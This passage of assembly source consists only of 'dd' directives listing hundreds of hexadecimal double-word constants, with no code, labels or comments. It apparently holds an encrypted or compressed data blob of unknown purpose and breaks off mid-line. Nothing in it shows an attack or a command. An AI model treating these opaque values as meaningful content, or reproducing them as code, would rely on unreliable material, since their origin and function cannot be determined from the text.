dd 0BF84E126h, 5CB080AEh, 8F36007Eh, 24CA91EBh, 0F73BDBF3h dd 0C4A8D482h, 0A5DF9607h, 92AEB868h, 0FDDC3C90h, 3C8B592Ah dd 586DE301h, 0E421F832h, 0D1491633h, 45660920h, 94540799h dd 285E8EE0h, 0D6821C1Eh, 35A4D5h, 1348BF85h, 0A9009FCCh dd 0A2665D79h, 571C19h, 0F1E6D002h, 47946551h, 0EB1BF1Ch dd 0A252D1DEh, 1FCC8100h, 0E95EA5h, 0B0AB5039h, 32915CFDh dd 3FB61B00h, 443E2ED0h, 0A0110EE0h, 1FA0BD61h, 0C81814D9h dd 0C720E718h, 0B511BE8h, 0EDC42D9Fh, 0E4CE7CA1h, 10F231E9h dd 0A61A8BACh, 0E099DF0h, 310AD5Bh, 0F87D3BA7h, 0ED1E20Fh dd 318C75EDh, 0E1086521h, 0C8F021A3h, 0E32AECD6h, 72F4B87Dh dd 0EA01C49Ah, 0B8955F58h, 0D0401980h, 1FCD560Bh, 7662D7h dd 939B1B01h, 0F000806Ah, 0AF7B5113h, 908B8760h, 3F330014h dd 93CFFEB8h, 74005266h, 14B207F0h, 761E984Dh, 387BAFh dd 613DE50Bh, 43D2FFB1h, 0AB005376h, 1DBEF1DCh, 4249206h dd 4F1E3756h, 5170235h, 571360BDh, 5AD50384h, 230D06F4h dd 0C0289AA0h, 14528E18h, 25190C9h, 3B820ACh, 0ADC0B61Eh dd 509E8576h, 93CCA681h, 8AC4F817h, 0C2C70FFAh, 2F8082A8h dd 4D92974Fh, 0C8FB3724h, 96A803Eh, 0C694A757h, 0B2320042h dd 0E17C26B7h, 1C0089B9h, 289E18F8h, 0D8CE1Ah, 80C07734h dd 0CD7A27AEh, 66F8F00h, 1EA3486Dh, 0CB402BDh, 344426DEh dd 6E09DCD8h, 83D10902h, 805E9B11h, 93BFB7h, 2EE05988h dd 8ADE4B3Ah, 0CAF06700h, 766DEA41h, 211E0FA0h, 0C6E090ADh dd 0BF58A934h, 0E4412418h, 1CB909B8h, 0C3AF51C8h, 2EFCE9A3h dd 1BA8A6F8h, 6CB26A1Fh, 0BBA0D284h, 21C2A8C4h, 7F48404Ah dd 179D2C84h, 1338037Ch, 7CEA9F72h, 0EA8C175h, 721F874h dd 4AA1260h, 2255E0CFh, 290E1CCCh, 0A00A87E4h, 8809FD03h dd 7B0E0749h, 3245C5AEh, 0D080153Fh, 0E7726269h, 6D48D200h dd 0C7E34910h, 1E8011Ah, 0C6D43A3Ch, 0FEB0DF38h, 0CC1C3335h dd 3F7A9648h, 0BAE18E5Bh, 7AFB212Ah, 10854237h, 0F23878h dd 0EFFF41CBh, 0E6005FECh, 0DAB01FD6h, 0DDEDC5h, 80BF8374h dd 6FEB9FA7h, 3104902h, 8464753Ah, 0CA0DBFCh, 7C11C0C9h dd 84D28F43h, 4201189Eh, 0BF6198DCh, 0E4775960h, 94455936h dd 89EE9A00h, 1F070370h, 0F9B73428h, 98066A00h, 0AC0F23C8h dd 102000C9h, 0B6E9DEA3h, 20F79434h, 75002FC0h, 96381C03h dd 0AE075Fh, 926D07Eh, 0EBBE2B9Dh, 0E7184F00h, 0B98B8117h dd 0E1F90A66h, 0F4E0F3h, 8243EF40h, 0D3F414C3h, 6B595300h dd 1CF9E3A1h, 9CEB0099h, 54AADA32h, 0CD001DD4h, 52BE0B7Bh dd 0DB5504h, 1159D8A8h, 0A2B5A6E1h, 1CBBC800h, 7B7862DFh dd 0CDE200E9h, 183DA397h, 0C73B3EBCh, 0D8EB8276h, 7066136Bh dd 990E00D8h, 256DDE4Fh, 0C9077F23h, 291F05DFh, 8ABEEFE0h dd 5DCD0713h, 70F90326h, 2A5AEE94h, 0CA8DF028h, 102F4F00h dd 0DDC1B56Bh, 7B4113A4h, 0C6D8013Eh, 7DE11E02h, 4ECCCEB4h dd 6A84E2B8h, 0B1809847h, 0E8CA0E5h, 88C1002Dh, 2863C71Fh dd 120CADBFh, 20EEE889h, 0BBE17C3h, 0F4A040F7h, 6E12DFACh dd 0ED7ABA00h, 63C5E51Eh, 0D4DB2465h, 97498700h, 4098F63Ch dd 0B211B305h, 0C4E003BFh, 0CF1902C2h, 0CA3D134Bh, 0AD0F7058h dd 0FB9781h, 0EDA61D1Bh, 65372426h, 0CB8A4134h, 88FD1041h dd 0FFF89Eh, 40B6B109h, 22D98EB8h, 5C1DF370h, 2E47DD63h dd 0EB20B7C2h, 0E61FC7BEh, 696500FDh, 77983BA1h, 1624EA8Bh dd 3A00608Dh, 48994E0Ah, 0E56E00EBh, 1DCA78AEh, 7C04A6AAh dd 0C452CCB8h, 0D3CE84C0h, 0E55401D9h, 0BD4C3B78h, 7E0205Ah dd 3D9E7A00h, 90F4570Ah, 2FBB7528h, 8C9088FBh, 7F013146h dd 3ED4DFBEh, 0D464839Ch, 3FB205BBh, 90CC678Fh, 4804A05Ch dd 1F849300h, 0BA6A47AFh, 3C90030Ch, 7F4DB9AEh, 0DFD81990h dd 8D6EEF0Eh, 2DD24130h, 0D034D190h, 763740A7h, 67EC0E7h dd 92EC9603h, 0A085D062h, 0BBDE75Fh, 390F8A5h, 0AE0290ECh dd 35E682D0h, 2098809Ch, 18B05A8Fh, 58970C93h, 0AC12C0FAh dd 3C016016h, 26674962h, 5CB27C20h, 0EC9D303Bh, 88E80448h dd 954B815h, 818277A8h, 3A7B2184h, 0E20ED86Ch, 0AD038B55h dd 9BC08DE1h, 98005936h, 0FB29111Bh, 0A673BBh, 0B143CCFAh dd 593399FEh, 1CD56A00h, 3D03BDF6h, 0A3630215h, 465DCA7Ah dd 722742C0h, 6459ED0Fh, 8A67C170h, 0D5ECCF11h, 0CB2E000Fh dd 76A6F42Dh, 599842B8h, 1E687900h, 21EA4769h, 9D820BB0h dd 0D820C9A4h, 3AB9FAABh, 0F097D0Bh, 8481867h, 546C00D0h dd 4A36E514h, 2900DE15h, 34DB184Dh, 0E0135Ch, 0F4215B3Bh dd 0F7285F07h, 0DED53800h, 513422A5h, 8D60C136h, 38AFB40Ch dd 579C002Ch, 0B19F4214h, 3C550509h, 386BC6Dh, 31753410h dd 8B23903h, 2BA5E98Fh, 82CDF08h, 2E402ABCh, 605F11C3h dd 2256083Ch, 2033B8BBh, 0E0D190AEh, 5E0875h, 6726127Fh dd 5536532Ah, 0BB477B00h, 2DFCA548h, 918F0007h, 956D4A75h dd 0B30372BCh, 5639061Ch, 7B380518h, 1F85214h, 364F2A3Ch dd 0D01DE342h, 538BF4Eh, 710DC844h, 463DE4D0h, 0B29018E8h dd 3645D060h, 6A7FCB07h, 0DD40BE28h, 0F435613Ch, 0A4B7009Bh dd 78C03795h, 0E800C632h, 41725D87h, 4B39FEh, 734DEA15h dd 9B19A8C4h, 2BBCB40Fh dd 0F2F80043h, 10BCE33h, 0C2B50841h, 0DD304039h, 0F38440C8h dd 0D3525632h, 16AD00FCh, 0E140286h, 0AAF0E67h, 0A18C19F6h dd 86F8D021h, 80B0B938h, 32714709h, 0FC3044h, 0EFAE2757h dd 4E339CB4h, 909DB110h, 0F05B607Ah, 0DBB634BDh, 11EE6501h dd 8FCF66B5h, 0E78D5980h, 3E7704FDh, 541D11C0h, 0E1A5E5EAh dd 38BCC041h, 21490898h, 0EA0056FCh, 1CB0D935h, 7DA937Bh dd 0A86BF3A1h, 0C251207Ch, 0C019B24Bh, 5288B099h, 60D520C8h dd 5C177816h, 8B010A4Dh, 0C08C4BFCh, 28819B5Dh, 5ADAABADh dd 1BD451C6h, 4475200Ch, 31B37703h, 0A3B16F7Ch, 3C21001Fh dd 6CBC4A04h, 0F90E250Dh, 0E002CB67h, 32F507B5h, 0CC3814FAh dd 1800903Bh, 0B4DF2E72h, 49EEF3C2h, 602FE40Eh, 68AFE001h dd 3A6EE1h, 4E2163D1h, 9879399Fh, 841AF61Fh, 0EC8156DEh dd 250C4ACh, 3164E0h, 0F42FC947h, 8B0C0753h, 7577FF00h dd 3B1ACCC6h, 0CF983E48h, 85FEAC80h, 1B9C5870h, 792A4A00h dd 0DD158D0Fh, 0CEBB3FADh, 0EC235E00h, 331B6CB0h, 0C35641Fh dd 8E7DC3C0h, 0D4C4DFh, 50DC12F1h, 0B14B662Ch, 0EE592300h dd 11ED419Eh, 0D192006Eh, 0DA9ACC42h, 0DF0EC68Bh, 0A0C0D910h dd 11303B23h, 3DB20097h, 5D52CFADh, 0D014D4Eh, 2976D102h dd 61F2A9BCh, 0ACF05643h, 2D8C1DBEh, 322497h, 9A73176Ah dd 160CC90Ch, 8F91548h, 20BD607Fh, 8773C0D4h, 58A54612h dd 0AE70AB00h, 303A4B3Eh, 0EE606F91h, 0BE00F5ABh, 0E6B845D4h dd 0F08A4433h, 569E0012h, 69B6A913h, 8666B1B9h, 213908h dd 665697F0h, 0FBA74A9h, 7E2ACF18h, 0DB8579h, 15CBE7C7h dd 720388AFh, 8B61D900h, 7C0E3142h, 0C9BFE2Bh, 68993A4Ah dd 59C73288h, 11FD0D2h, 858B2814h, 18814CF5h, 0C0F07B32h dd 5F1F0034h, 0D3CD29F7h, 8083118Ch, 0CA37308h, 7B448C11h dd 73C100D7h, 0FCA1C9E5h, 80630E54h, 0F28E781h, 0C0B32489h dd 1CA66703h, 39B63A0Fh, 12B88005h, 0D075D10Ah, 0C4239CB8h dd 17569A01h, 0C41896A9h, 0FC4540h, 8E6C5693h, 36B2C52Fh dd 5FC083F9h, 0F8435D7h, 4B7D0FD0h, 5050ADA7h, 0D4EB04BAh dd 9B00E0E2h, 0E643C062h, 0C33A44h, 23417DE7h, 0B7A34D50h dd 60207B25h, 7EBA8FC6h, 0D71100E9h, 2AFC495Fh, 99028861h dd 0EACE95ECh, 87BC6005h, 0C6BC0028h, 0F14FAF3Eh, 5400C207h dd 0A5570493h, 5B0CC9Ah, 0BACF270Ch, 240480B4h, 0CE00369Fh dd 1B59BF97h, 0FBF33Eh, 274FBB48h, 8D2362F0h, 0E4BC5013h dd 543E8E00h, 409545h, 5518D393h, 0CA0C1281h, 8C587E02h dd 402C96B8h, 7F372791h, 72BB003Dh, 6CC84C89h, 0B538ACFBh dd 0D26B83CFh, 0E04271F3h, 0F8B705A7h, 1AA40EA0h, 0D18792F5h dd 8DC5A0DCh, 0C03CCE79h, 58089FF4h, 2170B0FEh, 48C2D52h dd 6D47EABh, 0FBE280B6h, 6E388E50h, 87C19EB5h, 71F13C80h dd 0FE120A2Ah, 9EEEE7h, 97DD29B4h, 2E83D316h, 0F509D6Fh dd 3B962004h, 18312CF3h, 8171B91h, 20C0D306h, 4996245Fh dd 6CCE0038h, 0D42B9A4Fh, 0CD0077CBh, 59D99EF0h, 0C628B01h dd 7E1E538Eh, 0B1CE96D8h, 70218AA1h, 848DCC40h, 86587BCFh dd 7574E44h, 0F4AA8C34h, 0DFCE50F1h, 0D3304869h, 63C92097h dd 78D06373h, 7BD88499h, 0D806CEB8h, 2D2BEF26h, 0DD2506F8h dd 0C0CA9C05h, 7B00A47Ah, 61423AC8h, 655098B1h, 1D30811h dd 830FA488h, 0D216F8C9h, 0E391A000h, 0BBE7CE42h, 1028A32Eh dd 4B0B60h, 88219D44h, 3A45736Fh, 9C0FB251h, 2F20D315h dd 0D9EF6070h, 0D63C8398h, 0D121818Ch, 0FAB512C5h, 7659FCh dd 9431D808h, 0C7399C6Fh, 25F06700h, 2DE13A1Ah, 0B91D0065h dd 0A23F9DB3h, 660027AAh, 8118E8DEh, 3033B1h, 0ADC3620Ch dd 370FFC40h, 2C0075ECh, 0C246A07Fh, 0B2BB3Eh, 16CA10A8h dd 0C4506804h, 1F00547Bh, 0F1780AFBh, 31B44h, 352BDC30h dd 57E2D47Bh, 0BE8DBF00h, 0D2EB801Fh, 3C3E0047h, 0A204DD9Ch dd 7B0093F2h, 5B92128Ch, 391172F9h, 0FFC3BC4h, 704610AEh dd 73F5807Eh, 0DD3C42E4h, 0C9948C03h, 18DC8777h, 20109108h dd 3C0041C7h, 0EF46B2Fh, 4458E1h, 7068154Eh, 52FD5784h dd 0D517200h, 800AF0FBh, 18F460E1h, 2CC3F5B3h, 4481A60h dd 33DADBFh, 9CA9485Dh, 9309AF8h, 45DF21B9h, 144E003Dh dd 8F9953A3h, 1FF8766Ah, 8688F51Ah, 80828F91h, 0F0FDE013h dd 18A660B3h, 3D4AE5EDh, 93317F60h, 3AE5A5Fh, 0E9BCC10Bh dd 830B9F2h, 0D7B2219Eh, 33551C5Bh, 7D670701h, 79062F87h dd 3B20603Fh, 31736FE7h, 0E008092Dh, 3C007B77h, 1D0BADA9h dd 98D72452h, 0C0F8003Dh, 95D12F56h, 6B1479AAh, 0D848244h dd 49847180h, 0CF1001EDh, 0BA002C6Ch, 0D4277856h, 3874E0E7h dd 2582527Dh, 0E5718B7Bh, 8411A49Fh, 0D5256080h, 0DA001EC7h dd 9D81BE13h, 118A59Ah, 1578BBD6h, 808EB60Ch, 2638A410h dd 573C6Bh, 0F146014Eh, 8EA8D5BFh, 0ACEE8200h, 56535D7Eh dd 0C8511DD2h, 75BC028h, 1B9BAAD0h, 81F6B100h, 7821C49Fh dd 59AD008Eh, 82CF9E3Fh, 3F2FF2Ch, 0D9CED700h, 26DBCA4Ch dd 0E8D60987h, 0DE00F612h, 46761C24h, 91055501h, 0A67FD4A5h dd 0F88A120h, 0BE5D14DBh, 20B31BA7h, 4BF04422h, 5F47BCA0h dd 0E950800h, 8FAE2389h, 10DE1BB9h, 7EA01125h, 0A083712Dh dd 2FEAF504h, 3758BACEh, 0B4629700h, 0AD53214h, 881C0BAEh dd 0F180E56Eh, 0C347BC3Fh, 184D9E1Eh, 0B8FD01B8h, 0A51F4203h dd 3ADB1DF4h, 5802C3Eh, 95AB545Eh, 59901E43h, 77009C7Fh dd 4A129802h, 3BFFBB4h, 41A4B026h, 2BA0DA27h, 83309306h dd 0C1941148h, 1801006Ah, 26AB19E3h, 0E203915Eh, 9B8AA072h dd 2C2900B0h, 7651A90Bh, 0C57DE3EEh, 0EA07E97Ch, 6BDDA846h dd 8A8D1761h, 2E78C0h, 35360EAFh, 0C381455h, 0CB263100h dd 0F74DE06Fh, 0EDD10027h, 0E93583B9h, 0F204796Dh, 959E1BABh dd 0F9BCE680h, 0B32900FFh, 0E2219BF8h, 2660CC2Bh, 0F4866588h dd 763900ADh, 73534FCFh, 0F500A3DDh, 4EDFE536h, 0A098152h dd 0CCF23454h, 0B73380C8h, 2267B2F4h, 4DA28200h, 52C37269h dd 5D1E8E3h, 0B53981F3h, 58DBC092h, 5F000B95h, 2F4B5361h dd 7D314Ah, 0AEA4C5A2h, 84B2183Bh, 4FCD1A05h, 0F8439B71h dd 988FE22Dh, 16320C7h, 19A4DFE4h, 0D868ED92h, 8133E348h dd 0B823708Fh, 0F6140Dh, 0F97A5243h, 0BE950742h, 942FC838h dd 0A7F5A1h, 0CE87DA21h, 0E82129Ah, 4658FF5Fh, 7B7A4820h dd 0D7026929h, 76036BFCh, 7F47C89h, 10531598h, 186E1002h dd 8CA4403h, 0A0E7A565h, 1E386DCh, 0FC2CAF12h, 0CCB9CBBBh dd 0AD00F5C1h, 89E8A597h, 0C08E2352h, 211171A8h, 9A002E35h dd 42CA3F0Fh, 2ED36556h, 29A6B6h, 306DD55Ch, 6E14C56Ah dd 2AB8AFB1h, 92003C02h, 0ED3E98CBh, 32D753h, 2EF012C1h dd 0D9207409h, 0A73B51Eh, 29AF3840h, 586EB219h, 0E30313A1h dd 443A6104h, 0E00BC8Bh, 5E344ABFh, 931FD0h, 64476AD5h dd 31782826h, 1956860Bh, 846D8258h, 0B8DDC0C7h, 269A072Bh dd 93BC2789h, 5B908277h, 7572C8CEh, 0D001B707h, 0BC433043h dd 71F8C6EBh, 9CF60229h, 0D1AE68FDh, 6500F0A9h, 0BAA5D8CCh dd 6478C8E9h, 4CE63824h, 0C4252281h, 11828598h, 5BE4C86Fh dd 95CE6DE0h, 0B8802000h, 0F95573E9h, 352F00A0h, 760CEB2Dh dd 440026A4h, 0BF378BC6h dd 3C142913h, 12BFD686h, 8D50D431h, 0F194605Eh, 4FCC8E06h dd 7998F7Eh, 0ECCFED4Eh, 0BB193097h, 100930E7h, 80D8D6h dd 9C8B9EB0h, 0E492A9h, 9AE00E23h, 0D16C09ADh, 4D12AA03h dd 3E1CE27Ch, 1400A231h, 4A4519B5h, 1B0033CDh, 0B89088EFh dd 0CC8B10h, 0A7EC6148h, 3786B905h, 80A1C40Fh, 9CEA002Ch dd 0EDE5EAEh, 7D7163BDh, 752406DFh, 0CB0120CDh, 45DD9450h dd 5CD46D1Dh, 3370335h, 318A3B11h, 8EE12BE8h, 6AADA407h dd 8CD0A589h, 1D27F28h, 9B1A600Dh, 0C5BC8A07h, 0FA882078h dd 2B90DE00h, 0C70AA95Ah, 0ED0E245Dh, 0F9778044h, 8C0CFAE3h dd 0ABC9F128h, 88846C54h, 3807AD07h, 3092F329h, 7A314005h dd 0BBBC074Ch, 0A02F7FE9h, 0A80734F9h, 78008173h, 1C48D7F6h dd 4029B8h, 24466975h, 91655088h, 8AF3D00Bh, 0C39D002Ch dd 4A8617h, 0D75BFCC8h, 7501533Ch, 2B4F9624h, 0EE33DA01h dd 5FF48EC9h, 0ADC80041h, 0E382490Ah, 0A8012BDFh, 0BD8FB4F5h dd 88F8F695h, 7EFC1322h, 0B98C40F8h, 0E798C1CEh, 4CD8F24h dd 3480149Fh, 698E89ABh, 5D2B02D8h, 0A3DF1C61h, 0FFF23C60h dd 58339400h, 18FDBCB4h, 4A7FAFh, 739AD403h, 0C4D643AEh dd 3EE28200h, 48C0AD69h, 40B0E8h, 618FB84Ch, 76943489h dd 7B161700h, 27531F41h, 59660A63h, 88BCA05Dh, 2F85FAB6h dd 0E81C2E0Ah, 0AB3CBE40h, 0C7F1DBh, 70173790h, 92C26443h dd 82D16307h, 2D506CB8h, 60DDEB05h, 0AB3E19BAh, 6F906D69h dd 46A3C518h, 0EA62B550h, 0A2BB0047h, 59E9FDC3h, 1E004284h dd 669A686Ch, 0E22488A9h, 99910011h, 0DE519B9Fh, 8958E1BBh dd 0AE1500E5h, 0B44970F1h, 31380EDFh, 0F80034EDh, 0B76EA40Dh dd 25202301h, 12782BAFh, 0F1CFF8D7h, 0C53F00DCh, 68148C98h dd 0A9E08E1Bh, 5D03D03h, 88DA247Eh, 79DB07h, 0FF6676DDh dd 71D982F8h, 891F9600h, 41541DC9h, 3B37397Dh, 0A311A203h dd 0D0DF8E99h, 16BFF328h, 0EA766F00h, 39134F40h, 0A0A8008Fh dd 45AEDCB3h, 3F001705h, 30826D7Dh, 13EDA92Ch, 0BC1078C1h dd 729B1EABh, 9AF7640h, 9AD6B58Eh, 774E00BCh, 9934301Ch dd 0A008DBEh, 25CA665Dh, 1C3AC1A9h, 43B587E2h, 77EE680Fh dd 742C63C9h, 1B00C368h, 0CBBF62E6h, 0BE1817h, 926B0BECh dd 0A0CE91E2h, 14900400h, 12E4FB8Dh, 0D9FA0094h, 0E6DD8B17h dd 18B869F0h, 0EEA4C40Eh, 24B6A0D5h, 49662D43h, 60B6083h dd 0D820724Bh, 0CFA521F7h, 0A2F9F61Ch, 8218735Dh, 40960129h dd 3B7CAA62h, 4F18B674h, 821851Ah, 45FB849h, 8E6A1783h dd 0A0578793h, 9469DC26h, 2D289B7Ch, 0B5003C59h, 9F903BCh dd 31AD7275h, 1E185EA6h, 72B07E3Ch, 0C9BB002Bh, 0C0F6B8A2h dd 54A06907h, 24A0602Dh, 540EED04h, 82E76AB1h, 807407DEh dd 33E39514h, 34F0019h, 7D4EB8D8h, 0DB0F8BB7h, 87768820h dd 0B5003DC5h, 11749DDh, 0E4FDA9A7h, 0E887CB29h, 0D6008225h dd 9F1ECFDCh, 8AF660h, 0D0967E20h, 0FBE0C614h, 0CDDD2E28h dd 0A7CB9E00h, 0A50B1089h, 0E7B00EAh, 1B8ED8E7h, 5700422Ah dd 0FFD6EB52h, 0C903C0h, 0D8989E40h, 1EB25C19h, 0E8751600h dd 0D37DE2AAh, 1EECFCAFh, 4009EE4Dh, 0E6C0D30h, 3B0F80ABh dd 80A9EDADh, 21974C53h, 18DB78F7h, 56CB1F51h, 0C7F839D7h dd 8A72DD00h, 89C8D95Ah, 0EDA707B1h, 61CD33B5h, 472D7FB9h dd 3D6CD1A0h, 0D953F46Fh, 0A0C6A201h, 351A086Bh, 4CF22183h dd 0B4F0D1D8h, 0BCA0CAA7h, 0C0A887ADh, 66077120h, 0CD381945h dd 12FB9520h, 5427CA6h, 0B49DDFC8h, 0B8C84075h, 786E0627h dd 0FA9FCE00h, 3C2E132Fh, 7F603CCh, 0E57F911Eh, 8DA130E8h dd 730661C7h, 5CC851A0h, 8767002Dh, 6D0B096Bh, 2C0F03AAh dd 40556906h, 7831D9F2h, 97A21D70h, 68B440B5h, 2D451408h dd 7DB6501h, 308120F3h, 0FD3BD980h, 1FE37BCAh, 666FBE00h dd 27A1704Eh, 0ED430C0Eh, 18369FBDh, 6C06A200h, 1E9A3F20h dd 384F0021h, 1D9D609Ch, 800A8F3Dh, 48EAD28h, 0F40358h dd 0A05A30A2h, 0BD3331DAh, 96CE2500h, 0F8189B80h, 0E45B74F3h dd 61282687h, 0C3651F5Eh, 0B1335C4Eh, 34974816h, 940005ACh dd 0B218D3E5h, 0F9008777h, 95FC5001h, 0C08DAD8Ch, 119C8E20h dd 5D53C87Dh, 0BCD98420h, 9065BA60h, 99CC5600h, 0D134910Dh dd 0E8233C96h, 9325DE00h, 0C1EC8E9Ch, 0FB8C500Ch, 792859F0h dd 4DCB000Dh, 34A05298h, 0A174B82Ah, 0F08C2954h, 0D0CCC800h dd 3D3257F1h, 0B7EF5h, 0EA0F3F2Ah, 0D7F862F3h, 1C3C2824h dd 6A009C22h, 602AB3BAh, 0A8A30CBDh, 6FF4A4h, 0A213D986h dd 4AFB3DF9h, 938631DFh, 1FA0B4C0h, 603CF99h, 218B7764h dd 6E59A01Fh, 110C07C0h, 0CC74347Bh, 47215208h, 0DF6E510Ch dd 146C1h, 9B096EBh, 580B37B9h, 6AC6871Ch, 1C97143Ch, 908500D4h dd 1BF825F4h, 54650002h, 57D196CFh, 0FB155FF0h, 18017F7h dd 0A26BE7A0h, 0C140BB95h, 32CE1AEh, 954BFADh, 5015F933h dd 0B8AC5301h, 0AD5E0719h, 8082EF3Ch, 3B32DD84h, 9C09D17Bh dd 202B061Fh, 5699AE44h, 2A170004h, 3FF7ACA8h, 1F81D73h dd 5A3034Ch, 2FFD02F8h, 0DBEFFC01h, 0A840A6EBh, 0F22358Ch dd 0E73E72ABh, 61159301h, 0EFF0895Dh, 370804F8h, 59CDEC60h dd 0AAF29810h, 0D48025C8h, 0C67BCCA4h, 785803B6h, 365D0D98h dd 0AB107875h, 93098650h, 94279D2Dh, 0A3FCC3CAh, 0C5811800h dd 0F69833F4h, 0B56A002Bh, 2A2808EBh, 515CAB78h, 1B3A0173h dd 4FAD04ACh, 0AF5FA886h, 3C158113h, 0FC8A15h, 0FD97C05Ah dd 3EB5D8D9h, 6F246696h, 6E5AC01Ch, 0A42107DDh, 76910Fh dd 0C86E524Ah, 1522DE1Eh, 0E8E3F10Eh, 1FA0C73h, 9311F709h dd 909A3400h, 0DDEE9421h, 0BD4430BBh, 86153DD0h, 0A32351C2h dd 4B6448D4h, 2F093817h, 9C9740E3h, 0E040DFBAh, 9E0A5EE0h dd 10BA8EAAh, 0CE580E39h, 0FA522165h, 0A8431523h, 0C75904B5h dd 0AA054ABh, 0B286D4AAh, 0B0208F11h, 3A2000E6h, 76C913CFh dd 0A83C8E5Dh, 0D5017FEEh, 7BBEE174h, 318F7AB5h, 678009AEh dd 0AF543816h, 8400137h, 0BD219Ch, 5E4BD5FAh, 2C3E9AAh dd 1A27091Bh, 9496A9A8h, 0B0A3E824h, 5A9D3E4Ah, 996F5B4Ch dd 63F3FB81h, 0C18A4B0h, 0D002C5BBh, 6E4D3080h, 6C055011h dd 4B8A7588h, 0EE00E065h, 0ABC21888h, 15980960h, 70AF2905h dd 8C80543Fh, 252DB109h, 8816C2Fh, 8A5E9D3Ch, 9CC29849h dd 471FCE80h, 230642Dh, 0E1BEDC36h, 0C060C0FCh, 5F883ADDh dd 7BDF28ABh, 0AF20C88h, 98702B69h, 0C83E49h, 4A140ED3h dd 0F790D2h, 1F8F376Ah, 25548516h, 52810C99h, 35FBE598h dd 39184080h, 0AFCCE2DAh, 0E09B1F0Eh, 2E369EFh, 48BA7D8h dd 0AB7C8CADh, 976A9FF8h, 0DCCA7418h, 0C682A000h, 5C5038h dd 13D6664h, 311A099Dh, 14681C3Ch, 0E9813D7h, 439EAB7Ah dd 15EDC8h, 388148C1h, 9B7F9712h, 8AAF8C37h, 94402C45h dd 0DD387956h, 47C6397Eh, 48774280h, 85A4BD89h, 14038A40h dd 0F4AEFF59h, 4112304Ch, 0BE7042A6h, 3846B365h, 69D51304h dd 59620816h, 0D5FCBB20h, 0CE9D017Fh, 98B4FFAEh, 6EA98110h dd 0A863EF1Fh, 0C66DBC8h, 3C19C4BDh, 0DF01EC68h, 0DD51C2BEh dd 89C13A88h, 7980F855h, 0B04DF18Ah, 19DF07DCh, 0AFE64A34h dd 0DCEAA100h, 65006A70h, 4B9642F8h, 3D11346Dh, 480286CCh dd 3FE35A8Dh dd 0DF0E08Ch, 508F8540h, 4351A4E5h, 386802ECh, 31579735h dd 906F130Dh, 2C02F38h, 0BCB02D4h, 0F881FA18h, 60EB78A3h dd 914C1578h, 0AD9603FAh, 0C657043h, 680FB118h, 0DCACCB70h dd 13386604h, 20626797h, 387E5520h, 43963A1Ch, 0FEBEA587h dd 21B81FF9h, 50F91409h, 811251BCh, 0A09BD518h, 0F804EE10h dd 1D0937Ah, 6A66E67h, 8839185Ch, 70727F75h, 0B5046D09h dd 4400A088h, 16F6C1Fh, 0D5F95221h, 0E07A103Dh, 4E029ABCh dd 0B430CA94h, 9218689Dh, 58135DFDh, 0BC43624h, 898A2576h dd 27B406C4h, 77002886h, 161CCDE3h, 5830F9F8h, 0F6BD5C53h dd 530D30h, 4C76995Bh, 1A1BD67Ch, 5459022Ch, 24C1C780h dd 379467E1h, 0F0D183B8h, 0B73EB381h, 0F4118405h, 9C02A7D9h dd 0C0A4147Bh, 0E8523A0h, 0B78EFD99h, 97609623h, 2487A9E9h dd 93242194h, 8F0028F2h, 1759D798h, 3ABB302Eh, 72240921h dd 0F8876229h, 0B5180DD1h, 56E175Ch, 0B35F4B54h, 8EAE9881h dd 0A2BD0410h, 6EB47507h, 5F22D297h, 42A8C641h, 4E37030Eh dd 74AC552Eh, 574840C0h, 502A8700h, 0B88830FDh, 4820921Eh dd 0FC00E11Fh, 80A78121h, 0FB002C7Fh, 312A3216h, 47554Ah dd 19F73F34h, 0C50A1A28h, 0F2B40E50h, 0CF058CE0h, 6034BDABh dd 0A469F846h, 0B3A90089h, 116A804Bh, 6B0072DAh, 0D9BAB924h dd 1C09B52Bh, 3A190105h, 9C73F094h, 9D8CE062h, 0AC930D20h dd 0FFA49013h, 43668060h, 0D53602B3h, 31F01680h, 0B8F8528Dh dd 0C286C07Fh, 96170A15h, 84AA29h, 0C8D96FF4h, 0F72ACD4Dh dd 0E100B09Ch, 44D2A2A3h, 25932290h, 0B41DA194h, 3A802491h dd 9AB6470h, 20582D51h, 9F4113B4h, 9C32B3F1h, 250F1F09h dd 44F70423h, 8B5B492Eh, 0C001E30Ah, 1CF8B900h, 0CD025AEh dd 3EF7F085h, 36002E29h, 9BF52D71h, 612B10h, 898B1353h dd 0F7AD94E7h, 9695501h, 0F0AC8292h, 7C001822h, 0DAA85237h dd 0F6003994h, 0ADD6060Ch, 2F0C258h, 2D04AA4Eh, 0C8E9CF62h dd 44E187Bh, 405516Eh, 203B3211h, 426E66AEh, 8304F6F8h dd 3E37F109h, 5A1D7003h, 173DCC88h, 57318C6Bh, 0A6DA1A01h dd 6FD9D4F2h, 0BF0F6400h, 10746A9h, 0AA1B28B9h, 4CA8779Ch dd 0E710BC98h, 0D1AD0745h, 89B5BB25h, 9082D80Bh, 0C03F6960h dd 92359E61h, 9DE8021Eh, 9472DB00h, 51BD3677h, 51C2C61h dd 98784054h, 4B608D2Dh, 6D3D36F8h, 630B1A1Ch, 0EC8420ABh dd 385560A4h, 0ACC690CEh, 211160ECh, 86386F02h, 8D547F03h dd 0B4425Fh, 7A0F3FA1h, 0E556FDECh, 2649h, 55EA34C4h, 0B6F21Ah dd 11726BC9h, 0A0D14538h, 85C6E43Bh, 8BDB81EDh, 0FDAB3090h dd 0A34BA4Bh, 5E44BBA3h, 98E49E8Ch, 94FE1858h, 2524EFEh dd 3130F2E4h, 0C4C620CCh, 484154Dh, 401FF3FBh, 965E2800h dd 244E430Bh, 0EAAA4C00h, 0E0807877h, 0FC402EF4h, 810A6C0h dd 0D9010A83h, 0E66162A3h, 74AA897h, 0C6332E70h, 80052017h dd 0FB5F22A4h, 46C3203Ch, 1E751C77h, 1D51EA82h, 0D145209h dd 8669C45Dh, 0D9BED3B8h, 0D1826700h, 0D4E154A9h, 9C7900C1h dd 19B2CDE7h, 5F1CCA73h, 0B9056BBDh, 20D7118Fh, 43210280h dd 91627899h, 0AA2CD004h, 7E390086h, 3396D222h, 0C55C9098h dd 0A06D104Ch, 0FF1030Fh, 7434D7B2h, 0B1A30755h, 8178C0A9h dd 0CF42E22Fh, 0D0F8B618h, 0AB12C739h, 2CCD9888h, 8CF1AC30h dd 63CCCA04h, 0EE38E298h, 0EFCCC201h, 895447DFh, 13CFA0D9h dd 40657556h, 9FF91504h, 80C3AB91h, 0D653D981h, 20BFF898h dd 0F40B4EE1h, 19F10F5h, 5B17EF88h, 6FBA8F10h, 3A84552h dd 7DC01060h, 3960AF3Dh, 0E5F60Dh, 374178C3h, 